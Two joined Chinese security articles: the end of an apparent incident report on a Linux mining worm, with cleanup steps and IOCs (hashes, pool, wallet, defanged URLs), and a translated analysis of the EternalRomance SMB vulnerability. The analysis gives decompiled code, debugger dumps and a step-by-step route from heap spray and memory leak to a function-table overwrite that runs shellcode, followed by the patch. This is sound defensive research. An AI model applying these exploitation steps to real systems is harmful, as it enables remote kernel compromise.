5. 排查清理可能残留的恶意文件： a) chattr -i /usr/sbin/watchdogs /etc/init.d/watchdogs /var/spool/cron/root /etc/cron.d/root； b) chkconfig watchdogs off； c) rm -f /usr/sbin/watchdogs /etc/init.d/watchdogs。
6. 相关系统命令可能被病毒删除，可通过包管理器重新安装或者其他机器拷贝恢复；
7. 由于文件只读且相关命令被hook，需要安装busybox通过busybox rm命令删除；
8. 部分操作需要重启机器生效。
### **六、附录**
IOCs：
样本
1. aee3a19beb22527a1e0feac76344894c
2. c79db2e3598b49157a8f91b789420fb6
3. d6a146161ec201f9b3f20fbfd528f901
4. 39fa886dd1af5e5360f36afa42ff7b4e
矿池地址
xmr.f2pool.com:13531
钱包地址
46FtfupUcayUCqG7Xs7YHREgp4GW3CGvLN4aHiggaYd75WvHM74Tpg1FVEM8fFHFYDSabM3rPpNApEBY4Q4wcEMd3BM4Ava.teny
URLs
1. hxxps://pastebin.com/raw/sByq0rym
2. hxxps://pastebin.com/raw/tqJjUD9d
3. hxxp://thyrsi.com/t6/672/1550667515x1822611209.jpg
4. hxxp://ident.me
相关链接：
<https://mp.weixin.qq.com/s/1AF5cgo_hJ096LmX7ZHitA>
腾讯安全云鼎实验室专注云安全技术研究和云安全产品创新工作；负责腾讯云安全架构设计、腾讯云安全防护和运营工作；通过攻防对抗、合规审计搭建管控体系，提升腾讯云整体安全能力。
* * * | 社区文章 |
# 【漏洞分析】NSA Eternalromance （永恒浪漫） 漏洞分析
|
##### 译文声明
本文是翻译文章，文章来源：360安全卫士技术博客
原文地址：<http://blogs.360.cn/360safe/2017/04/19/eternalromance-analyze/>
译文仅供参考，具体内容表达以及含义原文为准。
****
**传送门**
****
[**【漏洞分析】MS 17-010：NSA Eternalblue SMB
漏洞分析**](http://bobao.360.cn/learning/detail/3738.html)
**1 环境**
**EXPLOIT：**
Eternalromance-1.3.0
**TARGET：**
windows xp sp3
**FILE：**
srv.sys 5.1.2600.5512
**
**
**2 Exploit使用**
我们可以发现工具包中有两个Eternalromance, 一个1.4.0,
另外一个是1.3.0。经过我一翻折腾也没有把1.4.0跑起来。无奈试了下1.3.0发现竟然能成功运行。因此便有了这篇分析。大家可能都会用fuzzbunch这个命令行了。但是我们调试的时候总不能调一次都要重新输入TargetIp等那些配置吧。告诉大家一个省劲的方法。首先fuzzbunch按正常流程走一遍。在最后跑起exp的时候，在Log目录下会生成一个xml的配置文件。然后大家就可以用Eternalromance.1.3.0
–inconfig “xml路径” 来调用了。还有就是你也可以改exploit下的那个配置文件不过你得填非常多的参数。
**
**
**3 基础知识**
不想看的同学可以直接跳到 3.5 漏洞相关的重点那里
**3.1 SMB Message structure**
SMB Messages are divisible into three parts:
*** fixed-length header**
*** variable length parameter block**
*** variable length data block**
header的结构如下：
SMB_Header
{
UCHAR Protocol[4];
UCHAR Command;
SMB_ERROR Status;
UCHAR Flags;
USHORT Flags2;
USHORT PIDHigh;
UCHAR SecurityFeatures[8];
USHORT Reserved;
USHORT TID;
USHORT PIDLow;
USHORT UID;
USHORT MID;
}
更详细见 ([https://msdn.microsoft.com/en-us/library/ee441702.aspx](https://msdn.microsoft.com/en-us/library/ee441702.aspx) )
**3.2 SMB_COM_TRANSACTION (0x25)**
为事务处理协议的传输子协议服务。这些命令可以用于CIFS文件系统内部通信的邮箱和命名管道。如果出书的数据超过了会话建立时规定的MaxBufferSize，必须使用SMB_COM_TRANSACTION_SECONDARY命令来传输超出的部分：SMB_Data.Trans_Data和SMB_Data.Trans_Parameter。这两部分在初始化消息中没有固定。
如果客户端没有发送完所有的SMB_Data.Trans_Data，会将DataCount设置为小于TotalDataCount的一个值。同样的，如果SMB_Data.Trans_Parameters没有发送完，会设置ParameterCount为一个小于TotalParameterCount的值。参数部分优先级高于数据部分，客户端在每个消息中应该尽量多的发送数据。服务器应该可以接收无序到达的SMB_Data.Trans_Parameters
和 SMB_Data.Trans_Data，不论是大量还是少量的数据。
在请求和响应消息中，SMB_Data.Trans_Parameters和SMB_Data.Trans_Data的位置和长度都是由SMB_Parameters.ParameterOffset、SMB_Parameters.ParameterCount,SMB_Parameters.DataOffset和SMB_Parameters.DataCount决定。另外需要说明的是，SMB_Parameters.ParameterDisplacement和SMB_Parameters.DataDisplacement可以用来改变发送数据段的序号。服务器应该优先发送SMB_Data.Trans_Parameters。客户端应该准备好组装收到的SMB_Data.Trans_Parameters和SMB_Data.Trans_Data，即使它们是乱序到达的。
The PID, MID, TID, and UID MUST be the same for all requests and responses
that are part of the same transaction.
更详细看 ([https://msdn.microsoft.com/en-us/library/ee441489.aspx](https://msdn.microsoft.com/en-us/library/ee441489.aspx) )
**3.3 SMB_COM_TRANSACTION_SECONDARY(0x26)**
此命令用来完成SMB_COM_TRANSACTION中未传输完毕数据的传输。在请求和响应消息中，SMB_Data.Trans_Parameters和SMB_Data.Trans_Data的位置和长度都是由SMB_Parameters.ParameterOffset、SMB_Parameters.ParameterCount,SMB_Parameters.DataOffset和SMB_Parameters.DataCount决定。另外需要说明的是，SMB_Parameters.ParameterDisplacement和SMB_Parameters.DataDisplacement可以用来改变发送数据段的序号。服务器应该优先发送SMB_Data.Trans_Parameters。客户端应该准备好组装收到的SMB_Data.Trans_Parameters和SMB_Data.Trans_Data，即使它们是乱序到达的。
更详细看 ([https://msdn.microsoft.com/en-us/library/ee441949.aspx](https://msdn.microsoft.com/en-us/library/ee441949.aspx) )
**3.4 SMB_COM_WRITE_ANDX (0x2F)**
结构如图：
更详细看 ([https://msdn.microsoft.com/en-us/library/ee441848.aspx](https://msdn.microsoft.com/en-us/library/ee441848.aspx) )
**3.5 总结下漏洞相关的重点**
客户端处理SMB_COM_TRANSACTION命令的时候如果数据大小超过MaxBufferSize，则需要使用SMB_COM_TRANSACTION_SECONDARY传输剩下的数据。
对于作为同一Transcation部分的所有请求和响应，PID，MID，TID和UID必须相同。
**
**
**4 漏洞分析**
**4.1 SrvSmbTransactionSecondary**
结合上一节的重点中提到的。
如果我们先发送了一个数据大小大于MaxBufferSize的SMB_COM_TRANSACTION数据包。那么接下来肯定是要发送SMB_COM_TRANSACTION_SECONDARY来传输剩余的数据，那么服务器在收到处理SMB_COM_TRANSACTION_SECONDARY这个命令的时候肯定会找他对应的那个Transcation。同时服务器也可能同时收到很多个包含SMB_COM_TRANSACTION_SECONDARY命令的数据包。怎么定位某个MB_COM_TRANSACTION_SECONDARY数据包对应的SMB_COM_TRANSACTION数据包呢？重点里也提到了。如果MB_COM_TRANSACTION_SECONDARY数据包中的PID,MID,TID和UID和SMB_COM_TRANSACTION数据包中的相同，那么就认为是同一部分的请求。
代码是这么实现的。
int __thiscall SrvSmbTransactionSecondary(int this)
{
int v1; // ebx@1
int pSmbParamter; // edi@1
TRANSCATION *pTransation; // eax@1 MAPDST
unsigned int ParameterDisplayment; // ecx@10 MAPDST
size_t ParameterSize; // eax@10 MAPDST
size_t DataSize; // edx@10 MAPDST
int pTransList; // [sp+Ch] [bp-24h]@1
PERESOURCE Resource; // [sp+18h] [bp-18h]@26
struct _ERESOURCE *Resourcea; // [sp+18h] [bp-18h]@30
int pSmbHeader; // [sp+1Ch] [bp-14h]@1
int ParameterOffset; // [sp+20h] [bp-10h]@10
int DataOffset; // [sp+28h] [bp-8h]@10
v1 = this;
pSmbParamter = *(_DWORD *)(this + 0x6C);
pSmbHeader = *(_DWORD *)(this + 0x68);
pTransList = *(_DWORD *)(this + 0x4C);
//
// 首先查找SMB_COM_TRANSACTION_SECONDARY对应的SMB_COM_TRANSACTION
//
pTransation = (TRANSCATION *)SrvFindTransaction(pTransList, pSmbHeader, 0);
if ( !pTransation )
{
return 2;
}
if ( !*(_BYTE *)(pTransation->field_10 + 0x98) )
{
ParameterDisplayment = *(_WORD *)(pSmbParamter + 9);
ParameterOffset = *(_WORD *)(pSmbParamter + 7);
ParameterSize = *(_WORD *)(pSmbParamter + 5);
DataOffset = *(_WORD *)(pSmbParamter + 0xD);
DataSize = *(_WORD *)(pSmbParamter + 0xB);
DataDisplayment = *(_WORD *)(pSmbParamter + 0xF);
if ( pTransation->field_93 )
{
//...
}
else
{
//Check
Resource = *(PERESOURCE *)(*(_DWORD *)(v1 + 0x60) + 0x10);
if ( ParameterSize + ParameterOffset > *(_DWORD *)(*(_DWORD *)(v1 + 0x60) + 0x10)
|| DataOffset + DataSize > (unsigned int)Resource
|| ParameterSize + ParameterDisplayment > pTransation->TotalParameterCount
|| DataSize + DataDisplayment > pTransation->TotalDataCount )
{
//CheckFaild
}
else
{
if ( pTransation->field_94 != 1 )
{
//
// 这里将SMB_COM_TRANSACTION_SECONDARY传过来的Parameter和Data都保存
// 到Transaction中
//
//拷贝Parameter Buffer
if ( ParameterSize )
_memmove(
(void *)(ParameterDisplayment + pTransation->ParameterBuffer),
(const void *)(pSmbHeader + ParameterOffset),
ParameterSize); // parameter
//复制Data Buffer,这里注意下，下面会提到！！
if ( DataSize )
_memmove(
(void *)(DataDisplayment + pTransation->DataBuffer),
(const void *)(pSmbHeader + DataOffset),
DataSize); // data
return 2;
}
}
}
}
return 1;
}
这个SMB_COM_TRANSACTION_SECONDARY命令的处理函数的大体流程就是首先查找SMB_COM_TRANSACTION_SECONDARY对应的SMB_COM_TRANSACTION如果找到就将SMB_COM_TRANSACTION_SECONDARY中的Parameter和Data都复制到SMB_COM_TRANSACTION中去。
**4.2 SrvFindTransaction**
下面来看下查找的逻辑SrvFindTransaction:
int __stdcall SrvFindTransaction(int a1, int pSmbHeaderOrMid, int a3)
{
SMB_HEADER *pSmbHeader_; // edi@1
struct _ERESOURCE *v4; // ebx@4
_DWORD **pTransList; // edx@4
_DWORD *i; // ecx@4
TRANSCATION *v7; // eax@5
int v9; // esi@14
pSmbHeader_ = (SMB_HEADER *)pSmbHeaderOrMid;
//
// command 0x2f is SUM_CMD_WRITE_ANDX
// a3 = SUM_CMD_WRITE_ANDX->Fid
//
if ( *(_BYTE *)(pSmbHeaderOrMid + 4) == 0x2F )
pSmbHeaderOrMid = a3;
else
LOWORD(pSmbHeaderOrMid) = *(_WORD *)(pSmbHeaderOrMid + 0x1E);
v4 = (struct _ERESOURCE *)(a1 + 0x130);
ExAcquireResourceExclusiveLite((PERESOURCE)(a1 + 0x130), 1u);
pTransList = (_DWORD **)(*(_DWORD *)(a1 + 0xF4) + 8);
for ( i = *pTransList; ; i = (_DWORD *)*i )
{
if ( i == pTransList )
{
//
// 查到最后了退出
//
ExReleaseResourceLite(v4);
return 0;
}
//
// 这里是对比TID，PID，UID,MID
// 这里注意这个MID,如果命令是SUM_CMD_WRITE_ANDX MID就是SUM_CMD_WRITE_ANDX MID数据包中的Fid
//
v7 = (TRANSCATION *)(i - 6);
if ( *((_WORD *)i + 47) == pSmbHeader_->TID
&& v7->ProcessId == pSmbHeader_->PIDLow
&& v7->UserId == pSmbHeader_->UID
&& v7->MutiplexId == (_WORD)pSmbHeaderOrMid )// MutilplexId如果名令时SMB_CMD_WRITE_ANDX那么这里是Fid
{
break;
}
}
if ( BYTE1(v7->field_0) == 2 )
{
_InterlockedExchangeAdd((volatile signed __int32 *)(v7->field_8 + 4), 1u);
v9 = (int)(i - 6);
}
else
{
v9 = 0;
}
ExReleaseResourceLite(v4);
return v9;
}
大家可以看下逻辑。重点在这里如果命令是SMB_CMD_WRITE_ANDX(0x2f)话那么MID的对比就不一样了，这里是用Transaction->MID和SMB_CMD_WRITE_ANDX->Fid比较。如果一样返回pTransaction。那么问题来了。如果服务器端正好有一个其他的Transaction->MID恰好和SMB_CMD_WRITE_ANDX->Fid的相等那么将会返回一个错误的pTransaction。很经典的类型混淆。
处理SUM_CMD_WRITE_ANDX的函数SrvSmbWriteAndX代码如下:
signed int __thiscall SrvSmbWriteAndX(int this)
{
...略
pTrans = (TRANSCATION *)SrvFindTransaction(pTransList, pSmbTranscationBuffer, Fid);
pTrans_ = pTrans;
if ( !pTrans )
{
if ( (unsigned int)SrvWmiEnableLevel >= 2 && SrvWmiEnableFlags & 1 && KeGetCurrentIrql() < 2u )
WPP_SF_(64, &unk_1E1CC);
v40 = "d:\xpsp\base\fs\srv\smbrdwrt.c";
v37 = 3216;
goto LABEL_69;
}
if ( pTrans->TotalDataCount - pTrans->nTransDataCounts < v11 )
{
SrvCloseTransaction(pTrans);
SrvDereferenceTransaction(pTrans_);
_SrvSetSmbError2(v1, 0x80000005, 0, 3238, (int)"d:\xpsp\base\fs\srv\smbrdwrt.c");
StatusCode = 0x80000005;
goto LABEL_100;
}
v31 = Size;
qmemcpy((void *)pTrans->DataBuffer, VirtualAddress, Size);
//
// ！！！！这里将DataBuffer指针给增加了！！！！
//
pTrans_->DataBuffer += Size;
pTrans_->nTransDataCounts += v31;
...略
}
看到pTrans_->DataBuffer +=
Size这句相信大家就能明白了。这里将DataBuffer的指针增大了。再处理此Transcation的SMB_COM_TRANSACTION_SECONDARY命令的时候也就是SrvSmbTransactionSecondary中复制Data的memcpy可就越界了！！！！！
所以此漏洞可以总结成类型混淆造成的越界写。
**4.3 Exploit数据包**
通过对Exploit抓包我们可以看到其漏洞触发过程。
首先发送SMB_COM_TRANSACTION命令创建一个TID=2049 PID=0 UID=2049
MID=16385(0x4001)的Transcation：
然后发送SMB_CMD_WRITE_ANDX命令还增加pTrans_->DataBuffer这个指针：
**
**
**5 漏洞利用**
从上面描述可以看出，该漏洞为类型混淆导致的越界写漏洞。前期通过spray
使多个TRANSACTION相邻，然后让其中一个TRANSACTION触发该漏洞，再通过该TRANSACTION越界写其相邻的TRANSACTION
spary 最终 memory view:
spray的目的是构造出下出三个相邻的transaction, 其中write_transaction 主要用于写操作，leak_transaction
主要用于信息泄露，而control_transaction为触发漏洞的transaction,触发之后其他InData字段会增加0x200,
以致于可写的范围可以向后延伸0x200.利用于这点可以写与其相依的write_transaction的InData字段。从面达到任意地址写的效果。
注: 本次调试中 control_transaction地址为：0x58b90, write_transaction地址为: 0x59c38,
leak_transaction地址为:0x5ace0
其中TRANSACTION 结构部份如下：
typedef struct _TRANSACTION {
//...
/*+0xc*/ LPVOID Connection;
//...
/*+0x34*/ LPWORD InSetup;
//...
/*+0x40*/ LPBYTE OutParameters;
/*+0x44*/ LPBYTE InData; /*写的目的地址*/
/*+0x48*/ LPBYTE OutData; /*读的目的地址*/
//...
/*+0x60*/ DWORD DataCount; /*控制可读的长度*/
/*+0x64*/ DWORD TotalDataCount
}TRANSACTION
写操作：
SMB_PROCESSOR_RETURN_TYPE SrvSmbTransactionSecondary (
SMB_PROCESSOR_PARAMETERS
)
{
//...
request = (PREQ_TRANSACTION_SECONDARY)WorkContext->RequestParameters;
header = WorkContext->RequestHeader;
transaction = SrvFindTransaction( connection, header, 0 );
//...
dataOffset = SmbGetUshort( &request->DataOffset );
dataCount = SmbGetUshort( &request->DataCount );
dataDisplacement = SmbGetUshort( &request->DataDisplacement );
//...
// Copy the parameter and data bytes that arrived in this SMB.
//...
if ( dataCount != 0 ) {
RtlMoveMemory(
transaction->InData + dataDisplacement,
(PCHAR)header + dataOffset,
dataCount);
}
//...
}
读操作：
VOID SrvCompleteExecuteTransaction (
IN OUT PWORK_CONTEXT WorkContext,
IN SMB_TRANS_STATUS ResultStatus)
{
//...
transaction = WorkContext->Parameters.Transaction;
header = WorkContext->ResponseHeader;
transactionCommand = (UCHAR)SmbGetUshort( &transaction->InSetup[0] );
//...
// Copy the appropriate parameter and data bytes into the message.
if ( paramLength != 0 ) {
RtlMoveMemory( paramPtr, transaction->OutParameters, paramLength );
}
if ( dataLength != 0 ) {
RtlMoveMemory( dataPtr, transaction->OutData, dataLength );
}
//...
}
从exp运行的log可以看出该漏洞利用分为两部份：信息泄露 与 代码执行
**5.1 信息泄露**
需要泄露的信息包括 Transaction2Dispatch Table基址 与 一块NonePagedPool Buffer地址.
通过修改Transaction2Dispatch Table中的函数指针来执行 shellcode， 其中NonePagedPool
Buffer就是用于存放shellcode.
**5.1.1 泄露Transaction2Dispatch Table基址**
从exp运行的log可以看出首先泄露CONNECTION结构基址：CONNECTION地址存放于TRANSACTION->Connection字段。看到这，你可能已经想到该怎么做了：直接利用constrol
transaction的0x200字节的越界能力修改write_transaction的DataCount字段让其可以越界读leak_transaction上的内容，从而读出TRANSACTION->Connection。
但exp作者却并没有这么做，这里并不打算深究其原因，或许是有其他限制，或许不是。
作者这里利用了另一种复杂不少方法，通过另一种方法修改 write_transaction的DataCount字段。
**5.1.1.1 write_transaction初始状态如下:**
可以看出CONNECTION地址为：89a29c18，OutData为0x5acd4 (==
59c38+0x109c)已经是write_transaction的末尾，所以其DataCount为0,表示不可读。
**5.1.1.2 修改write_transaction- >DataCount**
首先
修改write_transaction的InSetup为0x23，这点通过control_transaction很容易完成。之后发包触发写write_transaction操作，会走到：
SMB_STATUS SRVFASTCALL ExecuteTransaction (
IN OUT PWORK_CONTEXT WorkContext)
{
//...
transaction = WorkContext->Parameters.Transaction;
//...
command = SmbGetUshort(&transaction->InSetup[0]);
//...
switch( command ) {
case TRANS_TRANSACT_NMPIPE:
resultStatus = SrvTransactNamedPipe( WorkContext );
break;
case TRANS_PEEK_NMPIPE: //0x23
resultStatus = SrvPeekNamedPipe( WorkContext );
break;
case TRANS_CALL_NMPIPE:
resultStatus = SrvCallNamedPipe( WorkContext );
break;
//...
}
//...
}
由于之前已经将write_transaction的InSetup修改为0x23, 所以会call SrvPeekNamedPipe。
# ChildEBP RetAddr
00 b21f8d44 b24cdcce srv!ExecuteTransaction+0x23b (FPO: [0,0,0])
01 b21f8d7c b248a836 srv!SrvSmbTransactionSecondary+0x2f1 (FPO: [Non-Fpo])
02 b21f8d88 b249ad98 srv!SrvProcessSmb+0xb7 (FPO: [0,0,0])
03 b21f8dac 805c7160 srv!WorkerThread+0x11e (FPO: [Non-Fpo])
04 b21f8ddc 80542dd2 nt!PspSystemThreadStartup+0x34 (FPO: [Non-Fpo])
05 00000000 00000000 nt!KiThreadStartup+0x16
SrvPeekNamedPipe() 调用IoCallDriver最终调到 RestartPeekNamedPipe()函数
VOID SRVFASTCALL RestartPeekNamedPipe (
IN OUT PWORK_CONTEXT WorkContext)
{
//...
//
// Success. Generate and send the response.
//
transaction = WorkContext->Parameters.Transaction;
pipePeekBuffer = (PFILE_PIPE_PEEK_BUFFER)transaction->OutParameters;
readDataAvailable = (USHORT)pipePeekBuffer->ReadDataAvailable;
messageLength = (USHORT)pipePeekBuffer->MessageLength;
namedPipeState = (USHORT)pipePeekBuffer->NamedPipeState;
//
// ... then copy them back in the new format.
//
respPeekNmPipe = (PRESP_PEEK_NMPIPE)pipePeekBuffer;
SmbPutAlignedUshort(
&respPeekNmPipe->ReadDataAvailable,
readDataAvailable
);
SmbPutAlignedUshort(
&respPeekNmPipe->MessageLength,
messageLength
);
SmbPutAlignedUshort(
&respPeekNmPipe->NamedPipeState,
namedPipeState
);
//
// Send the response. Set the output counts.
//
// NT return to us 4 ULONGS of parameter bytes, followed by data.
// We return to the client 6 parameter bytes.
//
transaction->SetupCount = 0;
transaction->ParameterCount = 6;
transaction->DataCount = WorkContext->Irp->IoStatus.Information - (4 * sizeof(ULONG));
//...
}
该函数最终会修改Transaction->DataCount 为 0x23c。
kd> ub
srv!RestartPeekNamedPipe+0x42:
b7700137 66895004 mov word ptr [eax+4],dx
b770013b 83614c00 and dword ptr [ecx+4Ch],0
b770013f c7415406000000 mov dword ptr [ecx+54h],6
b7700146 8b4678 mov eax,dword ptr [esi+78h]
b7700149 8b401c mov eax,dword ptr [eax+1Ch]
b770014c 83e810 sub eax,10h
b770014f 85ff test edi,edi
b7700151 894160 mov dword ptr [ecx+60h],eax
kd> ?ecx+0x60
Evaluate expression: 367768 = 00059c98
kd> r eax
eax=0000023c
kd> dd 00059c38
00059c38 109c020c 00000000 ffdff500 89a29c18
00059c48 e1ed9900 e15e2960 0005acf8 00058ba8
00059c58 00020000 00059cd0 00002307 00000001
00059c68 00000000 00059cd4 8993b3e5 00059cd4
00059c78 00059d14 ffdff500 0005acd4 00000000
00059c88 00000000 00000006 00000000 00000ff0
00059c98 0000023c 00000000 00000001 00000000
00059ca8 00000101 08000000 0800cee6 00000000
kd> k
# ChildEBP RetAddr
00 b7c0ed88 b76dad98 srv!RestartPeekNamedPipe+0x5f
01 b7c0edac 805c6160 srv!WorkerThread+0x11e
02 b7c0eddc 80541dd2 nt!PspSystemThreadStartup+0x34
03 00000000 00000000 nt!KiThreadStartup+0x16
至此，已经成功修改了write_transaction的DataCount值，之后便可以越界读出
leak_transacion->Connection值: 89a29c18。
**5.1.1.3 SRV global data pointer**
kd> dds 89a29c18
89a29c18 02580202
89a29c1c 0000001d
89a29c20 00000000
89a29c24 00000000
89a29c28 00000000
89a29c2c 00000000
89a29c30 00000000
89a29c34 00000000
89a29c38 00000000
89a29c3c b76d8bec srv!SrvGlobalSpinLocks+0x3c
89a29c40 899d0020
89a29c44 000005b3
89a29c48 8976c200
89a29c4c 00004000
89a29c50 10000100
89a29c54 00000000
89a29c58 8988e010
89a29c5c 89aedc30
89a29c60 89a7d898
89a29c64 0001ffff
其中srv!SrvGlobalSpinLocks+0x3c 就是所谓的 SRV global data pointer ：b76d8bec
**5.1.1.4 Locating function tables**
kd> dds b76d8bec-0x654
b76d8598 b7709683 srv!SrvSmbOpen2
b76d859c b76f62a8 srv!SrvSmbFindFirst2
b76d85a0 b76f74e5 srv!SrvSmbFindNext2
b76d85a4 b76f6309 srv!SrvSmbQueryFsInformation
b76d85a8 b7707293 srv!SrvSmbSetFsInformation
b76d85ac b77041ad srv!SrvSmbQueryPathInformation
b76d85b0 b7703ce7 srv!SrvSmbSetPathInformation
b76d85b4 b77025ad srv!SrvSmbQueryFileInformation
b76d85b8 b770367f srv!SrvSmbSetFileInformation
b76d85bc b7705c85 srv!SrvSmbFsctl
b76d85c0 b7706419 srv!SrvSmbIoctl2
b76d85c4 b7705c85 srv!SrvSmbFsctl
b76d85c8 b7705c85 srv!SrvSmbFsctl
b76d85cc b77047bb srv!SrvSmbCreateDirectory2
b76d85d0 b7709a51 srv!SrvTransactionNotImplemented
b76d85d4 b7709a51 srv!SrvTransactionNotImplemented
b76d85d8 b76fb144 srv!SrvSmbGetDfsReferral
b76d85dc b76faf7e srv!SrvSmbReportDfsInconsistency
b76d85e0 00000000
**5.1.2 泄露Npp Buffer (shellcode buffer)**
这里又得回到ExecuteTransaction函数：
SMB_STATUS SRVFASTCALL ExecuteTransaction (
IN OUT PWORK_CONTEXT WorkContext)
{
//...
header = WorkContext->ResponseHeader;
response = (PRESP_TRANSACTION)WorkContext->ResponseParameters;
ntResponse = (PRESP_NT_TRANSACTION)WorkContext->ResponseParameters;
//
// Setup output pointers
//
if ( transaction->OutParameters == NULL ) {
//
// Parameters will go into the SMB buffer. Calculate the pointer
// then round it up to the next DWORD address.
//
transaction->OutParameters = (PCHAR)(transaction->OutSetup +
transaction->MaxSetupCount);
offset = (transaction->OutParameters - (PCHAR)header + 3) & ~3;
transaction->OutParameters = (PCHAR)header + offset;
}
if ( transaction->OutData == NULL ) {
//
// Data will go into the SMB buffer. Calculate the pointer
// then round it up to the next DWORD address.
//
transaction->OutData = transaction->OutParameters +
transaction->MaxParameterCount;
offset = (transaction->OutData - (PCHAR)header + 3) & ~3;
transaction->OutData = (PCHAR)header + offset;
}
//...
command = SmbGetUshort(&transaction->InSetup[0]);
//...
switch( command ) {
case TRANS_TRANSACT_NMPIPE:
resultStatus = SrvTransactNamedPipe( WorkContext );
break;
case TRANS_PEEK_NMPIPE:
resultStatus = SrvPeekNamedPipe( WorkContext );
break;
//...
}
这在这个函数里有这么一个逻辑，当transaction->OutParameters==NULL里，会将PWORK_CONTEXT->ResponseHeader加上一定的offset赋于它，PWORK_CONTEXT->ResponseHeader就是个NonePagedPool.
kd> ub eip
srv!ExecuteTransaction+0x60:
b76e8d05 46 inc esi
b76e8d06 50 push eax
b76e8d07 d1e0 shl eax,1
b76e8d09 2bc2 sub eax,edx
b76e8d0b 8d440803 lea eax,[eax+ecx+3]
b76e8d0f 83e0fc and eax,0FFFFFFFCh
b76e8d12 03c2 add eax,edx
b76e8d14 894640 mov dword ptr [esi+40h],eax
kd> dd 5ace0
0005ace0 109c020c 00000000 89b2c948 89a29c18
0005acf0 e1ed9900 e15e2960 0005bda0 00059c50
0005ad00 00020000 0005ad78 00002361 40010036
0005ad10 00000000 0005ad0c 8993fa25 0005ad7c
0005ad20 8993fa28 0005ad7c b76d84ec 00000004
0005ad30 00000000 00000000 00000000 00000010
0005ad40 00000000 00000000 00000100 00000000
0005ad50 00000101 08000000 0800cee6 0000004b
kd> ? esi+0x40
Evaluate expression: 372000 = 0005ad20
kd> r eax
eax=8993fa28
**5.1.2.1 transaction- >OutParameters=NULL**
Transaction 初始状态下OutParameters并不为NULL：
kd> dd 5ace0
0005ace0 109c020c 00000000 89b2c948 89a29c18
0005acf0 e1ed9900 e15e2960 0005bda0 00059c50
0005ad00 00020000 0005ad78 00002361 00000001
0005ad10 00000000 0005ad7c 00000000 0005ad7c
0005ad20 0005adbc 0005ad7c 0005bd7c 00000000
0005ad30 00000000 00000000 00000000 00000fc0
0005ad40 00000000 00000040 00000000 00000000
0005ad50 00000101 08000000 0800cee6 0000004b
这里通过write_transaction越界 写 leak_transaction->OutParameters为NULL,
然后发包触发写leak_transaction操作，之后leak_transaction->OutParameters便为一 Npp
Buffer值了。
**5.1.2.2 leak_transaction- >OutData = &leak_transaction->OutParameters**
这里要事先泄露leak_transaction的基址，其实也不难，通过读leak_transaction的OutData 或 OutParameters 或
InData 字段的值再减去一定的偏移便得到了基址，使leak_transaction->OutData =
&leak_transaction->OutParameters之后，发包触发leak_transaction读操作便将该Npp
buffer地址泄露出来了。
**5.1.2.3 写shellcode到Npp Buffer**
将control_transaction->OutData设为Npp
Buffer+0x100地址，然后发包发送shellcode，便将shellcode写到了Npp Buffer+0x100内。
**5.2 代码执行**
至此，直接将Npp buffer+0x100写到之前泄露出来的函数表里
kd> dds b76d8598
b76d8598 b7709683 srv!SrvSmbOpen2
b76d859c b76f62a8 srv!SrvSmbFindFirst2
b76d85a0 b76f74e5 srv!SrvSmbFindNext2
b76d85a4 b76f6309 srv!SrvSmbQueryFsInformation
b76d85a8 b7707293 srv!SrvSmbSetFsInformation
b76d85ac b77041ad srv!SrvSmbQueryPathInformation
b76d85b0 b7703ce7 srv!SrvSmbSetPathInformation
b76d85b4 b77025ad srv!SrvSmbQueryFileInformation
b76d85b8 b770367f srv!SrvSmbSetFileInformation
b76d85bc b7705c85 srv!SrvSmbFsctl
b76d85c0 b7706419 srv!SrvSmbIoctl2
b76d85c4 b7705c85 srv!SrvSmbFsctl
b76d85c8 b7705c85 srv!SrvSmbFsctl
b76d85cc b77047bb srv!SrvSmbCreateDirectory2
b76d85d0 8993fb28
b76d85d4 b7709a51 srv!SrvTransactionNotImplemented
b76d85d8 b76fb144 srv!SrvSmbGetDfsReferral
b76d85dc b76faf7e srv!SrvSmbReportDfsInconsistency
b76d85e0 00000000
之后发包就能触发该函数调用：
kd> k
# ChildEBP RetAddr
WARNING: Frame IP not in any known module. Following frames may be wrong.
00 b72b4cf0 b76e8d76 0x8993fb28
01 b72b4d04 b76e341f srv!ExecuteTransaction+0xdb
02 b72b4d7c b76ca836 srv!SrvSmbTransaction+0x7ac
03 b72b4d88 b76dad98 srv!SrvProcessSmb+0xb7
04 b72b4dac 805c6160 srv!WorkerThread+0x11e
05 b72b4ddc 80541dd2 nt!PspSystemThreadStartup+0x34
06 00000000 00000000 nt!KiThreadStartup+0x16
**6 关于补丁**
了解了漏洞原理之后修补都很简单了。只要在srv!SrvFindTransaction里面判断一下SMB COMMAND的类型是否一致就好了。
修补前
TRANSCATION *__fastcall SrvFindTransaction(int pConnect, SMB_HEADER *Fid, __int16 a3)
{
_DWORD **pTransList; // eax@4
_DWORD *v6; // ebx@4
PDEVICE_OBJECT v7; // ecx@5
TRANSCATION *pTransaction; // esi@6
char Command_Trans; // al@10
char Command_header; // dl@10
__int16 MIDorFID; // [sp+Ch] [bp-Ch]@2
struct _ERESOURCE *Resource; // [sp+14h] [bp-4h]@4
if ( Fid->Command == 0x2F )
MIDorFID = a3;
else
MIDorFID = Fid->MID;
Resource = (struct _ERESOURCE *)(pConnect + 0x19C);
ExAcquireResourceExclusiveLite((PERESOURCE)(pConnect + 0x19C), 1u);
pTransList = (_DWORD **)(*(_DWORD *)(pConnect + 0x160) + 8);
v6 = *pTransList;
if ( *pTransList == pTransList )
goto LABEL_14;
v7 = WPP_GLOBAL_Control;
while ( 1 )
{
pTransaction = (TRANSCATION *)(v6 - 6);
if ( *((_WORD *)v6 + 49) == Fid->TID
&& pTransaction->PID == Fid->PID
&& pTransaction->UID == Fid->UID
&& pTransaction->MID == MIDorFID )
{
break;
}
LABEL_13:
v6 = (_DWORD *)*v6;
if ( v6 == (_DWORD *)(*(_DWORD *)(pConnect + 0x160) + 8) )
goto LABEL_14;
}
//
// 这里添加了对COMMAND的比较。比较pTransaction和请求中SMB_HEADER中的COMMAND进行对比
//
Command_Trans = pTransaction->Command;
Command_header = Fid->Command;
if ( Command_Trans != Command_header )
{
if ( (PDEVICE_OBJECT *)v7 != &WPP_GLOBAL_Control )
{
WPP_SF_qDD(v7->AttachedDevice, v7->CurrentIrp, (_BYTE)v6 - 24, Command_header, Command_Trans);
v7 = WPP_GLOBAL_Control;
}
goto LABEL_13;
}
if ( BYTE1(pTransaction->field_0) == 2 )
{
_InterlockedIncrement((volatile signed __int32 *)(pTransaction->field_8 + 4));
goto LABEL_15;
}
LABEL_14:
pTransaction = 0;
LABEL_15:
ExReleaseResourceLite(Resource);
return pTransaction;
}
补丁点就是if ( Command_Trans != Command_header )看注释的地方。
**7 总结**
总之，这个漏洞还是非常好的，远程任意地址写，还可以信息泄露。威力很大。
